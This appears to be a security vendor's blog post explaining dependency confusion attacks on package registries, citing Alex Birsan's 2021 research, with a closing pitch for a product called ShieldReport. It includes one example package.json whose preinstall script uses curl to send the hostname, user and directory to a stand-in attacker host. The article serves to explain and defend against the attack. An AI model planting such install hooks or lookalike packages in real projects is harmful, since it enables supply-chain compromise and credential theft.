In 2021, security researcher Alex Birsan demonstrated an attack that compromised internal systems at Apple, Microsoft, PayPal, Shopify, Netflix, Tesla, and dozens of other companies. The technique required no phishing, no exploit code, and no insider access. He simply published public packages with the same names as the companies' internal packages — and their build systems installed them automatically.
How Dependency Confusion Works
Many organisations use private packages for internal libraries. These might be scoped as @company/auth-utils or unscoped as company-auth-utils on a private npm registry. The vulnerability lies in how package managers resolve names:
- When a package isn't found on the private registry, many configurations fall back to the public registry (npmjs.com, PyPI, etc.)
- When the same package name exists on both registries, some configurations prefer the higher version number regardless of source
- When installing without a lockfile or with an outdated one, the package manager fetches the latest version from whichever source resolves
An attacker who knows the name of an internal package publishes a public package with the same name and a higher version number. The next build pulls the attacker's package instead of the legitimate internal one.
How Attackers Discover Internal Package Names
Internal package names leak from multiple sources:
- JavaScript source maps: Published applications often include source maps that reference internal module names in import paths.
- Package.json files: Accidentally published or exposed in error messages, debug endpoints, or misconfigured servers.
- GitHub repositories: Public repositories that reference private packages in their dependency files.
- Job postings: Technical job descriptions that mention internal tooling and library names.
- npm registry metadata: Scoped packages that were briefly published publicly before being made private leave traces.
The Payload Execution
Package managers execute lifecycle scripts during installation. npm runs preinstall, install, and postinstall scripts automatically. An attacker's package needs only a single line in its install script:
// package.json
{
"name": "company-internal-utils",
"version": "99.0.0",
"scripts": {
"preinstall": "curl https://attacker.com/collect?host=$(hostname)&user=$(whoami)&dir=$(pwd)"
}
}
This runs in the CI/CD pipeline's context — with access to environment variables containing credentials, network access to internal services, and file system access to the source code being built.
The Scale of the Problem
Birsan's research found that the vulnerability affected virtually every organisation using private packages alongside public package managers. The attack works across ecosystems: npm, PyPI, RubyGems, NuGet, and Maven all have resolution behaviours that can be exploited. Some package managers have since added mitigations, but configuration remains the responsibility of each organisation.
Why It's Hard to Prevent
Dependency confusion sits at the intersection of package manager design, registry configuration, and build system setup:
- Scoping packages (e.g.,
@company/package) helps on npm but isn't available on all ecosystems - Registry configurations must explicitly prevent public fallback — which breaks if any legitimate public dependency is needed
- Lockfiles help but only if they're committed, up to date, and enforce integrity checks
- New dependencies added by developers may not be properly scoped or pinned
The organisational challenge is that every developer who adds a dependency can inadvertently introduce the vulnerability. It's a systemic risk, not a one-time fix.
The Broader Supply Chain Context
Dependency confusion is one attack in the broader software supply chain threat landscape. Combined with typosquatting, maintainer account compromises, and malicious packages, the package ecosystem is a high-value target that directly impacts what code runs in your production environment — and by extension, what your users' browsers execute.
ShieldReport examines the external artifacts of your build process — the deployed application's security configuration, third-party script integrity, and infrastructure hardening — because supply chain security ultimately manifests in what's served to your users.